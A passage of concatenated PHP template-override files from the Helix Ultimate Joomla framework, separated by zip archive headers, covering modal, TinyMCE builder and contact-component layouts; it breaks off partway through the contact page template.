 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Layout\LayoutHelper;
use Joomla\Utilities\ArrayHelper;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string  $selector  Unique DOM identifier for the modal. CSS id without #
 * @var   array   $params    Modal parameters. Default supported parameters:
 *                             - title        string   The modal title
 *                             - backdrop     mixed    A boolean select if a modal-backdrop element should be included (default = true)
 *                                                     The string 'static' includes a backdrop which doesn't close the modal on click.
 *                             - keyboard     boolean  Closes the modal when escape key is pressed (default = true)
 *                             - closeButton  boolean  Display modal close button (default = true)
 *                             - animation    boolean  Fade in from the top of the page (default = true)
 *                             - url          string   URL of a resource to be inserted as an <iframe> inside the modal body
 *                             - height       string   height of the <iframe> containing the remote resource
 *                             - width        string   width of the <iframe> containing the remote resource
 *                             - bodyHeight   int      Optional height of the modal body in viewport units (vh)
 *                             - modalWidth   int      Optional width of the modal in viewport units (vh)
 *                             - footer       string   Optional markup for the modal footer
 * @var   string  $body      Markup for the modal body. Appended after the <iframe> if the URL option is set
 */

$modalClasses = array('modal');

if (!isset($params['animation']) || $params['animation'])
{
	$modalClasses[] = 'fade';
}

$modalWidth       = isset($params['modalWidth']) ? round((int) $params['modalWidth'], -1) : '';
$modalDialogClass = '';

if ($modalWidth && $modalWidth > 0 && $modalWidth <= 100)
{
	$modalDialogClass = ' jviewport-width' . $modalWidth;
}

$modalAttributes = array(
	'tabindex' => '-1',
	'class'    => 'joomla-modal ' .implode(' ', $modalClasses)
);

if (isset($params['backdrop']))
{
	$modalAttributes['data-backdrop'] = (is_bool($params['backdrop']) ? ($params['backdrop'] ? 'true' : 'false') : $params['backdrop']);
}

if (isset($params['keyboard']))
{
	$modalAttributes['data-keyboard'] = (is_bool($params['keyboard']) ? ($params['keyboard'] ? 'true' : 'false') : 'true');
}

if (isset($params['url']))
{
	$url        = 'data-url="' . $params['url'] . '"';
	$iframeHtml = htmlspecialchars(LayoutHelper::render('libraries.html.bootstrap.modal.iframe', $displayData), ENT_COMPAT, 'UTF-8');
}
?>
<div id="<?php echo $selector; ?>" role="dialog" <?php echo ArrayHelper::toString($modalAttributes); ?> <?php echo $url ?? ''; ?> <?php echo isset($url) ? 'data-iframe="'.trim($iframeHtml).'"' : ''; ?>>
<?php 
$modalSize = "modal-lg";
if (JVERSION >= 4) {
	$modalSize = 'modal-xl';
} ?>
	<div class="modal-dialog <?php echo $modalSize . ' ' . $modalDialogClass; ?>">
		<div class="modal-content">
			<?php
				// Header
				if (!isset($params['closeButton']) || isset($params['title']) || $params['closeButton'])
				{
					echo LayoutHelper::render('libraries.html.bootstrap.modal.header', $displayData);
				}

				// Body
				echo LayoutHelper::render('libraries.html.bootstrap.modal.body', $displayData);

				// Footer
				if (isset($params['footer']))
				{
					echo LayoutHelper::render('libraries.html.bootstrap.modal.footer', $displayData);
				}
			?>
		</div>
	</div>
</div>
PK!�۝m..Chelixultimate/overrides/layouts/plugins/user/profile/fields/dob.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

extract($displayData);
echo $text . '<br />';
?>
PK!5�t8SS[helixultimate/overrides/layouts/plugins/editors/tinymce/field/tinymcebuilder/setoptions.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   JForm        $form    Form with extra options for the set
 * @var   JLayoutFile  $this    Context
 */

?>
<div class="setoptions-form-wrapper">
<?php foreach ($form->getGroup(null) as $field) : ?>
	<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</div>
PK!L�aPhelixultimate/overrides/layouts/plugins/editors/tinymce/field/tinymcebuilder.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string  $autocomplete   Autocomplete attribute for the field.
 * @var   boolean $autofocus      Is autofocus enabled?
 * @var   string  $class          Classes for the input.
 * @var   string  $description    Description of the field.
 * @var   boolean $disabled       Is this field disabled?
 * @var   string  $group          Group the field belongs to. <fields> section in form XML.
 * @var   boolean $hidden         Is this field hidden in the form?
 * @var   string  $hint           Placeholder for the field.
 * @var   string  $id             DOM id of the field.
 * @var   string  $label          Label of the field.
 * @var   string  $labelclass     Classes to apply to the label.
 * @var   boolean $multiple       Does this field support multiple values?
 * @var   string  $name           Name of the input field.
 * @var   string  $onchange       Onchange attribute for the field.
 * @var   string  $onclick        Onclick attribute for the field.
 * @var   string  $pattern        Pattern (Reg Ex) of value of the form field.
 * @var   boolean $readonly       Is this field read only?
 * @var   boolean $repeat         Allows extensions to duplicate elements.
 * @var   boolean $required       Is this field required?
 * @var   integer $size           Size attribute of the input.
 * @var   boolean $spellcheck     Spellcheck state for the form field.
 * @var   string  $validate       Validation rules to apply.
 * @var   array   $value          Value of the field.
  *
 * @var   array   $menus           List of the menu items
 * @var   array   $menubarSource   Menu items for builder
 * @var   array   $buttons         List of the buttons
 * @var   array   $buttonsSource   Buttons by group, for the builder
 * @var   array   $toolbarPreset   Toolbar presset (default values)
 * @var   int     $setsAmount      Amount of sets
 * @var   array   $setsNames       List of Sets names
 * @var   JForm[] $setsForms       Form with extra options for an each set
 * @var   string   $languageFile   TinyMCE language file to translate the buttons
 *
 * @var   JLayoutFile  $this       Context
 */

HTMLHelper::_('behavior.core');

$helix_plg_url = Uri::root(true) . '/plugins/system/helixultimate';
Factory::getDocument()->addScript($helix_plg_url . '/assets/js/admin/jquery-ui.min.js');

HTMLHelper::_('stylesheet', 'media/vendor/tinymce/skins/lightgray/skin.min.css', array('version' => 'auto', 'relative' => false));
HTMLHelper::_('stylesheet', 'editors/tinymce/tinymce-builder.css', array('version' => 'auto', 'relative' => true));
HTMLHelper::_('script', 'editors/tinymce/tinymce-builder.js', array('version' => 'auto', 'relative' => true));

if ($languageFile)
{
	HTMLHelper::_('script', $languageFile, array('version' => 'auto', 'relative' => false));
}

Factory::getDocument()->addScriptOptions('plg_editors_tinymce_builder',
	array(
		'menus'         => $menus,
		'buttons'       => $buttons,
		'toolbarPreset' => $toolbarPreset,
		'formControl'   => $name . '[toolbars]',
	)
);

?>
<div id="joomla-tinymce-builder">

	<p><?php echo Text::_('PLG_TINY_SET_SOURCE_PANEL_DESCRIPTION'); ?></p>

	<div class="mce-tinymce mce-container mce-panel">
		<div class="mce-container-body mce-stack-layout">

			<div class="mce-container mce-menubar mce-toolbar mce-stack-layout-item">
				<div class="mce-container-body mce-flow-layout timymce-builder-menu source" data-group="menu"
					data-value="<?php echo $this->escape(json_encode($menubarSource)); ?>">
				</div>
			</div>

			<div class="mce-toolbar-grp mce-container mce-panel mce-stack-layout-item">
				<div class="mce-container-body mce-flow-layout timymce-builder-toolbar source" data-group="toolbar"
					data-value="<?php echo $this->escape(json_encode($buttonsSource)); ?>">
				</div>
			</div>

		</div>
	</div>

	<hr>
	<p><?php echo Text::_('PLG_TINY_SET_TARGET_PANEL_DESCRIPTION'); ?></p>

	<?php // Render tabs for each set ?>
	<ul class="nav nav-tabs" id="set-tabs">
		<?php foreach ($setsNames as $num => $title) :
			$isActive = $num === $setsAmount - 1;
		?>
		<li class="nav-item">
			<a href="#set-<?php echo $num; ?>" class="nav-link <?php echo $isActive ? 'active' : ''; ?>">
				<?php echo $title; ?></a>
		</li>
		<?php endforeach; ?>
	</ul>

	<?php // Render tab content for each set ?>
	<div class="tab-content">
		<?php
		$presetButtonClases = array(
			'simple'   => 'btn-success',
			'medium'   => 'btn-info',
			'advanced' => 'btn-warning',
		);
		foreach ($setsNames as $num => $title) :

			// Check whether the values exists, and if empty then use from preset
			if (empty($value['toolbars'][$num]['menu'])
				&& empty($value['toolbars'][$num]['toolbar1'])
				&& empty($value['toolbars'][$num]['toolbar2']))
			{
				// Take the preset for default value
				switch ($num) {
					case 0:
						$preset = $toolbarPreset['advanced'];
						break;
					case 1:
						$preset = $toolbarPreset['medium'];
						break;
					default:
						$preset = $toolbarPreset['simple'];
				}

				$value['toolbars'][$num] = $preset;
			}

			// Take existing values
			$valMenu = empty($value['toolbars'][$num]['menu'])     ? array() : $value['toolbars'][$num]['menu'];
			$valBar1 = empty($value['toolbars'][$num]['toolbar1']) ? array() : $value['toolbars'][$num]['toolbar1'];
			$valBar2 = empty($value['toolbars'][$num]['toolbar2']) ? array() : $value['toolbars'][$num]['toolbar2'];
		?>
			<div class="tab-pane <?php echo $num === $setsAmount - 1 ? 'active' : ''; ?>" id="set-<?php echo $num; ?>">
				<div class="btn-toolbar float-end">
					<div class="btn-group btn-group-sm">

					<?php foreach(array_keys($toolbarPreset) as $presetName) :
						$btnClass = empty($presetButtonClases[$presetName]) ? 'btn-primary' : $presetButtonClases[$presetName];
						?>
						<button type="button" class="btn <?php echo $btnClass; ?> button-action"
							data-action="setPreset" data-preset="<?php echo $presetName; ?>" data-set="<?php echo $num; ?>">
							<?php echo Text::_('PLG_TINY_SET_PRESET_BUTTON_' . $presetName); ?>
						</button>
					<?php endforeach; ?>

						<button type="button" class="btn btn-danger button-action"
							 data-action="clearPane" data-set="<?php echo $num; ?>">
							<?php echo Text::_('JCLEAR'); ?></button>
					</div>
				</div>

				<div class="mce-tinymce mce-container mce-panel">
					<div class="mce-container-body mce-stack-layout">
						<div class="mce-container mce-menubar mce-toolbar timymce-builder-menu target"
							data-group="menu" data-set="<?php echo $num; ?>"
							data-value="<?php echo $this->escape(json_encode($valMenu)); ?>">
						</div>
						<div class="mce-toolbar-grp mce-container mce-panel timymce-builder-toolbar target"
						    data-group="toolbar1" data-set="<?php echo $num; ?>"
						    data-value="<?php echo $this->escape(json_encode($valBar1)); ?>">
						</div>
						<div class="mce-toolbar-grp mce-container mce-panel timymce-builder-toolbar target"
						    data-group="toolbar2" data-set="<?php echo $num; ?>"
						    data-value="<?php echo $this->escape(json_encode($valBar2)); ?>">
						</div>
					</div>
				</div>

				<?php // Render the form for extra options ?>
				<?php echo $this->sublayout('setoptions', array('form' => $setsForms[$num])); ?>
			</div>
		<?php endforeach; ?>
	</div>
</div>
PK!*D!�

:helixultimate/overrides/com_contact/categories/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
?>
<div class="categories-list<?php echo $this->pageclass_sfx; ?> list-group">
	<?php
		echo LayoutHelper::render('joomla.content.categories_default', $this);
		echo $this->loadTemplate('items');
	?>
</div>PK!��3ښ�@helixultimate/overrides/com_contact/categories/default_items.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$lang  = Factory::getLanguage();

if ($this->maxLevelcat != 0 && count($this->items[$this->parent->id]) > 0) :
?>
	<?php foreach ($this->items[$this->parent->id] as $id => $item) : ?>
		<?php if ($this->params->get('show_empty_categories_cat') || $item->numitems || count($item->getChildren())) : ?>
			<div class="list-group-item">
				<div style="padding-<?php echo $lang->isRtl() ? 'right' : 'left' ?>: <?php echo (int) $this->level * 16; ?>px">
					<div class="d-flex justify-content-between align-items-center">
						<h5 class="m-0">
							<a href="<?php echo Route::_(JVERSION < 4 ? ContactHelperRoute::getCategoryRoute($item->id, $item->language) : Joomla\Component\Contact\Site\Helper\RouteHelper::getCategoryRoute($item->id, $item->language)); ?>">
								<?php echo $this->escape($item->title); ?>
							</a>
						</h5>

						<?php if ($this->params->get('show_cat_num_articles_cat') == 1) :?>
							<span class="badge bg-primary rounded-pill">
								<?php echo Text::_('COM_CONTENT_NUM_ITEMS'); ?>
								<?php echo $item->numitems; ?>
							</span>
						<?php endif; ?>
					</div>

					<?php if ($this->params->get('show_subcat_desc_cat') == 1) : ?>
						<?php if ($item->description) : ?>
							<div class="mt-2">
								<?php echo HTMLHelper::_('content.prepare', $item->description, '', 'com_contact.categories'); ?>
							</div>
						<?php endif; ?>
					<?php endif; ?>
				</div>
			</div>
			<?php if (count($item->getChildren()) > 0 && $this->maxLevelcat > 1) : ?>
				<?php
					$this->items[$item->id] = $item->getChildren();
					$this->parent = $item;
					$this->maxLevelcat--;
					$this->level++;
					echo $this->loadTemplate('items');
					$this->parent = $item->getParent();
					$this->maxLevelcat++;
				?>
			<?php endif; ?>
		<?php endif; ?>
	<?php endforeach; ?>
<?php endif; ?>PK!��U��=helixultimate/overrides/com_contact/contact/default_links.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
?>

<div class="contact-links">
	<?php echo '<h3>' . Text::_('COM_CONTACT_LINKS') . '</h3>'; ?>
	<ul class="list-unstyled">
		<?php
		// Letters 'a' to 'e'
		foreach (range('a', 'e') as $char) :
			$link = $this->item->params->get('link' . $char);
			$label = $this->item->params->get('link' . $char . '_name');

			if (!$link) :
				continue;
			endif;

			// Add 'http://' if not present
			$link = (0 === strpos($link, 'http')) ? $link : 'http://' . $link;

			// If no label is present, take the link
			$label = $label ?: $link;
			?>
			<li>
				<a href="<?php echo $link; ?>" itemprop="url" rel="noopener noreferrer">
					<?php echo $label; ?>
				</a>
			</li>
		<?php endforeach; ?>
	</ul>
</div>
PK!#�
y��<helixultimate/overrides/com_contact/contact/default_form.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

HTMLHelper::_('behavior.keepalive');
HTMLHelper::_('behavior.formvalidator');

?>
<div class="contact-form">
	<form id="contact-form" action="<?php echo Route::_('index.php'); ?>" method="post" class="form-validate">
		<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
			<?php if ($fieldset->name === 'captcha' && !$this->captchaEnabled) : ?>
				<?php continue; ?>
			<?php endif; ?>
			<?php $fields = $this->form->getFieldset($fieldset->name); ?>
			<?php if (count($fields)) : ?>
				<fieldset>
					<?php foreach ($fields as $field) : ?>
						<?php echo $field->renderField(); ?>
					<?php endforeach; ?>
				</fieldset>
			<?php endif; ?>
		<?php endforeach; ?>
		<div class="control-group">
			<div class="controls">
				<button class="btn btn-primary validate" type="submit"><?php echo Text::_('COM_CONTACT_CONTACT_SEND'); ?></button>
				<input type="hidden" name="option" value="com_contact">
				<input type="hidden" name="task" value="contact.submit">
				<input type="hidden" name="return" value="<?php echo $this->return_page; ?>">
				<?php if(JVERSION >= 4) { ?>
					<input type="hidden" name="id" value="<?php echo $this->item->slug; ?>">
				<?php } else { ?>
					<input type="hidden" name="id" value="<?php echo $this->contact->slug; ?>">
				<?php } ?>
				<?php echo HTMLHelper::_('form.token'); ?>
			</div>
		</div>
	</form>
</div>
PK!+0+��@helixultimate/overrides/com_contact/contact/default_articles.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Router\Route;

?>
<?php if ($this->params->get('show_articles')) : ?>
<div class="contact-articles">
	<ul class="list-unstyled">
		<?php foreach ($this->item->articles as $article) : ?>
			<li>
				<?php echo HTMLHelper::_('link', Route::_(ContentHelperRoute::getArticleRoute($article->slug, $article->catid, $article->language)), htmlspecialchars($article->title, ENT_COMPAT, 'UTF-8')); ?>
			</li>
		<?php endforeach; ?>
	</ul>
</div>
<?php endif; ?>
PK!\����?helixultimate/overrides/com_contact/contact/default_address.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\String\PunycodeHelper;
?>
<div class="contact-address mb-4" itemprop="address" itemscope itemtype="https://schema.org/PostalAddress">
	<?php if (($this->params->get('address_check') > 0) &&
		($this->item->address || $this->item->suburb  || $this->item->state || $this->item->country || $this->item->postcode)) : ?>
		<div class="d-flex">
			<div class="me-2">
				<?php if (!$this->params->get('marker_address')) : ?>
					<span class="fas fa-address-book fa-fw" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_ADDRESS'); ?></span>
				<?php else : ?>
					<span class="<?php echo $this->params->get('marker_class'); ?>">
						<?php echo $this->params->get('marker_address'); ?>
					</span>
				<?php endif; ?>
			</div>

			<div>
				<?php if ($this->item->address && $this->params->get('show_street_address')) : ?>
					<div class="contact-street" itemprop="streetAddress">
						<?php echo nl2br($this->item->address, false); ?>
					</div>
				<?php endif; ?>

				<?php if ($this->item->suburb && $this->params->get('show_suburb')) : ?>
					<div class="contact-suburb" itemprop="addressLocality">
						<?php echo $this->item->suburb; ?>
					</div>
				<?php endif; ?>

				<?php if ($this->item->state && $this->params->get('show_state')) : ?>
					<div class="contact-state" itemprop="addressRegion">
						<?php echo $this->item->state; ?>
					</div>
				<?php endif; ?>

				<?php if ($this->item->postcode && $this->params->get('show_postcode')) : ?>
					<div class="contact-postcode" itemprop="postalCode">
						<?php echo $this->item->postcode; ?>
					</div>
				<?php endif; ?>

				<?php if ($this->item->country && $this->params->get('show_country')) : ?>
					<div class="contact-country" itemprop="addressCountry">
						<?php echo $this->item->country; ?>
					</div>
				<?php endif; ?>
			</div>
		</div>
	<?php endif; ?>

	<?php if ($this->item->email_to && $this->params->get('show_email')) : ?>
		<div class="d-flex mt-2">
			<div class="me-2">
				<?php if (!$this->params->get('marker_email')) : ?>
					<span class="fas fa-envelope fa-fw" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_EMAIL'); ?></span>
				<?php else : ?>
					<span class="<?php echo $this->params->get('marker_class'); ?>">
						<?php echo $this->params->get('marker_email'); ?>
					</span>
				<?php endif; ?>
			</div>
			
			<div class="contact-emailto">
				<?php echo $this->item->email_to; ?>
			</div>
		</div>
	<?php endif; ?>

	<?php if ($this->item->telephone && $this->params->get('show_telephone')) : ?>
		<div class="d-flex mt-2">
			<div class="me-2">
				<?php if (!$this->params->get('marker_telephone')) : ?>
					<span class="fas fa-phone fa-fw" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_TELEPHONE'); ?></span>
				<?php else : ?>
					<span class="<?php echo $this->params->get('marker_class'); ?>">
						<?php echo $this->params->get('marker_telephone'); ?>
					</span>
				<?php endif; ?>
			</div>
			
			<div class="contact-telephone" itemprop="telephone">
				<?php echo $this->item->telephone; ?>
			</div>
		</div>
	<?php endif; ?>

	<?php if ($this->item->fax && $this->params->get('show_fax')) : ?>
		<div class="d-flex mt-2">
			<div class="me-2">
				<?php if (!$this->params->get('marker_fax')) : ?>
					<span class="fas fa-fax fa-fw" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_FAX'); ?></span>
				<?php else : ?>
					<span class="<?php echo $this->params->get('marker_class'); ?>">
						<?php echo $this->params->get('marker_fax'); ?>
					</span>
				<?php endif; ?>
			</div>

			<div class="contact-fax" itemprop="faxNumber">
				<?php echo $this->item->fax; ?>
			</div>
		</div>
	<?php endif; ?>

	<?php if ($this->item->mobile && $this->params->get('show_mobile')) : ?>
		<div class="d-flex mt-2">
			<div class="me-2">
				<?php if (!$this->params->get('marker_mobile')) : ?>
					<span class="fas fa-mobile fa-fw" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_MOBILE'); ?></span>
				<?php else : ?>
					<span class="<?php echo $this->params->get('marker_class'); ?>">
						<?php echo $this->params->get('marker_mobile'); ?>
					</span>
				<?php endif; ?>
			</div>

			<div class="contact-mobile" itemprop="telephone">
				<?php echo $this->item->mobile; ?>
			</div>
		</div>
	<?php endif; ?>

	<?php if ($this->item->webpage && $this->params->get('show_webpage')) : ?>
		<div class="d-flex mt-2">
			<div class="me-2">
				<?php if (!$this->params->get('marker_webpage')) : ?>
					<span class="fas fa-globe fa-fw" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_CONTACT_WEBPAGE'); ?></span>
				<?php else : ?>
					<span class="<?php echo $this->params->get('marker_class'); ?>">
						<?php echo $this->params->get('marker_webpage'); ?>
					</span>
				<?php endif; ?>
			</div>

			<div class="contact-webpage">
				<a href="<?php echo $this->item->webpage; ?>" target="_blank" rel="noopener noreferrer" itemprop="url">
					<?php echo PunycodeHelper::urlToUTF8($this->item->webpage); ?>
				</a>
			</div>
		</div>
	<?php endif; ?>
</div>PK!���I@@7helixultimate/overrides/com_contact/contact/default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ContentHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Component\ComponentHelper;

$cparams = ComponentHelper::getParams('com_media');
$tparams = $this->item->params;
$canDo   = ContentHelper::getActions('com_contact', 'category', $this->item->catid);
$canEdit = $canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_by === Factory::getUser()->id);
$htag    = $tparams->get('show_page_heading') ? 'h2' : 'h1';
?>

<!-- for joomla3 -->
<?php if(JVERSION < 4) : ?>
	<div class="contact" itemscope itemtype="https://schema.org/Person">
		<?php if ($tparams->get('show_page_heading')) : ?>
			<h1>
				<?php echo $this->escape($tparams->get('page_heading')); ?>
			</h1>
		<?php endif; ?>

		<?php if ($this->contact->name && $tparams->get('show_name')) : ?>
			<div class="page-header">
				<h2>
					<?php if ($this->item->published == 0) : ?>
						<span class="label label-warning"><?php echo Text::_('JUNPUBLISHED'); ?></span>
					<?php endif; ?>
					<span class="contact-name" itemprop="name"><?php echo $this->contact->name; ?></span>
				</h2>
			</div>
		<?php endif; ?>

		<?php $show_contact_category = $tparams->get('show_contact_category'); ?>

		<?php if ($show_contact_category === 'show_no_link') : ?>
			<h3>
				<span class="contact-category"><?php echo $this->contact->category_title; ?></span>
			</h3>
		<?php elseif ($show_contact_category === 'show_with_link') : ?>
			<?php $contactLink = ContactHelperRoute::getCategoryRoute($this->contact->catid); ?>
			<h3>
				<span class="contact-category"><a href="<?php echo $contactLink; ?>">
					<?php echo $this->escape($this->contact->category_title); ?></a>
				</span>
			</h3>
		<?php endif; ?>

		<?php echo $this->item->event->afterDisplayTitle; ?>

		<?php if ($tparams->get('show_contact_list') && count($this->contacts) > 1) : ?>
			<form action="#" method="get" name="selectForm" id="selectForm">
				<label for="select_contact"><?php echo Text::_('COM_CONTACT_SELECT_CONTACT'); ?></label>
				<?php echo HTMLHelper::_('select.genericlist', $this->contacts, 'select_contact', 'class="inputbox" onchange="document.location.href = this.value"', 'link', 'name', $this->contact->link); ?>
			</form>
		<?php endif; ?>

		<?php if ($tparams->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
			<?php $this->item->tagLayout = new FileLayout('joomla.content.tags'); ?>
			<?php echo $this->item->tagLayout->render($this->item->tags->itemTags); ?>
		<?php endif; ?>

		<?php echo $this->item->event->beforeDisplayContent; ?>

		<?php $presentation_style = $tparams->get('presentation_style'); ?>
		<?php $accordionStarted = false; ?>
		<?php $tabSetStarted = false; ?>

		<?php if ($this->params->get('show_info', 1)) : ?>
			<?php if ($presentation_style === 'sliders') : ?>
				<?php echo HTMLHelper::_('bootstrap.startAccordion', 'slide-contact', array('active' => 'basic-details')); ?>
				<?php $accordionStarted = true; ?>
				<?php echo HTMLHelper::_('bootstrap.addSlide', 'slide-contact', Text::_('COM_CONTACT_DETAILS'), 'basic-details'); ?>
			<?php elseif ($presentation_style === 'tabs') : ?>
				<?php echo HTMLHelper::_('bootstrap.startTabSet', 'myTab', array('active' => 'basic-details')); ?>
				<?php $tabSetStarted = true; ?>
				<?php echo HTMLHelper::_('bootstrap.addTab', 'myTab', 'basic-details', Text::_('COM_CONTACT_DETAILS')); ?>
			<?php endif; ?>

			<?php if ($this->contact->image && $tparams->get('show_image')) : ?>
				<div class="thumbnail float-end">
					<?php echo HTMLHelper::_('image', $this->contact->image, $this->contact->name, array('itemprop' => 'image')); ?>
				</div>
			<?php endif; ?>

			<?php if ($this->contact->con_position && $tparams->get('show_position')) : ?>
				<dl class="contact-position dl-horizontal">
					<dt><?php echo Text::_('COM_CONTACT_POSITION'); ?>:</dt>
					<dd itemprop="jobTitle">
						<?php echo $this->contact->con_position; ?>
					</dd>
				</dl>
			<?php endif; ?>

			<?php echo $this->loadTemplate('address'); ?>

			<?php if ($tparams->get('allow_vcard')) : ?>
				<?php echo Text::_('COM_CONTACT_DOWNLOAD_INFORMATION_AS'); ?>
				<a href="<?php echo Route::_('index.php?option=com_contact&amp;view=contact&amp;id=' . $this->contact->id . '&amp;format=vcf'); ?>">
				<?php echo Text::_('COM_CONTACT_VCARD'); ?></a>
			<?php endif; ?>

			<?php if ($presentation_style === 'sliders') : ?>
				<?php echo HTMLHelper::_('bootstrap.endSlide'); ?>
			<?php elseif ($presentation_style === 'tabs') : ?>
				<?php echo HTMLHelper::_('bootstrap.endTab'); ?>
			<?php endif; ?>
		<?php endif; ?>

		<?php if ($tparams->get('show_email_form') && ($this->contact->email_to || $this->contact->user_id)) : ?>
			<?php if ($presentation_style === 'sliders') : ?>
				<?php if (!$accordionStarted)
				{
					echo HTMLHelper::_('bootstrap.startAccordion', 'slide-contact', array('active' => 'display-form'));
					$accordionStarted = true;
				}
				?>
				<?php echo HTMLHelper::_('bootstrap.addSlide', 'slide-contact', Text::_('COM_CONTACT_EMAIL_FORM'), 'display-form'); ?>
			<?php elseif ($presentation_style === 'tabs') : ?>
				<?php if (!$tabSetStarted)
				{
					echo HTMLHelper::_('bootstrap.startTabSet', 'myTab', array('active' => 'display-form'));
					$tabSetStarted = true;
				}
				?>
				<?php echo HTMLHelper::_('bootstrap.addTab', 'myTab', 'display-form', Text::_('COM_CONTACT_EMAIL_FORM')); ?>
			<?php endif; ?>

			<?php echo $this->loadTemplate('form'); ?>

			<?php if ($presentation_style === 'sliders') : ?>
				<?php echo HTMLHelper::_('bootstrap.endSlide'); ?>
			<?php elseif ($presentation_style === 'tabs') : ?>
				<?php echo HTMLHelper::_('bootstrap.endTab'); ?>
			<?php endif; ?>
		<?php endif; ?>

		<?php if ($tparams->get('show_links')) : ?>
			<?php echo $this->loadTemplate('links'); ?>
		<?php endif; ?>

		<?php if ($tparams->get('show_articles') && $this->contact->user_id && $this->contact->articles) : ?>
			<?php if ($presentation_style === 'sliders') : ?>
				<?php if (!$accordionStarted)
				{
					echo HTMLHelper::_('bootstrap.startAccordion', 'slide-contact', array('active' => 'display-articles'));
					$accordionStarted = true;
				}
				?>
				<?php echo HTMLHelper::_('bootstrap.addSlide', 'slide-contact', Text::_('JGLOBAL_ARTICLES'), 'display-articles'); ?>
			<?php elseif ($presentation_style === 'tabs') : ?>
				<?php if (!$tabSetStarted)
				{
					echo HTMLHelper::_('bootstrap.startTabSet', 'myTab', array('active' => 'display-articles'));
					$tabSetStarted = true;
				}
				?>
				<?php echo HTMLHelper::_('bootstrap.addTab', 'myTab', 'display-articles', Text::_('JGLOBAL_ARTICLES')); ?>
			<?php elseif ($presentation_style === 'plain') : ?>
				<?php echo '<h3>' . Text::_('JGLOBAL_ARTICLES') . '</h3>'; ?>
			<?php endif; ?>

			<?php echo $this->loadTemplate('articles'); ?>

			<?php if ($presentation_style === 'sliders') : ?>
				<?php echo HTMLHelper::_('bootstrap.endSlide'); ?>
			<?php elseif ($presentation_style === 'tabs') : ?>
				<?php echo HTMLHelper::_('bootstrap.endTab'); ?>
			<?php endif; ?>
		<?php endif; ?>

		<?php if ($tparams->get('show_profile') && $this->contact->user_id && PluginHelper::isEnabled('user', 'profile')) : ?>
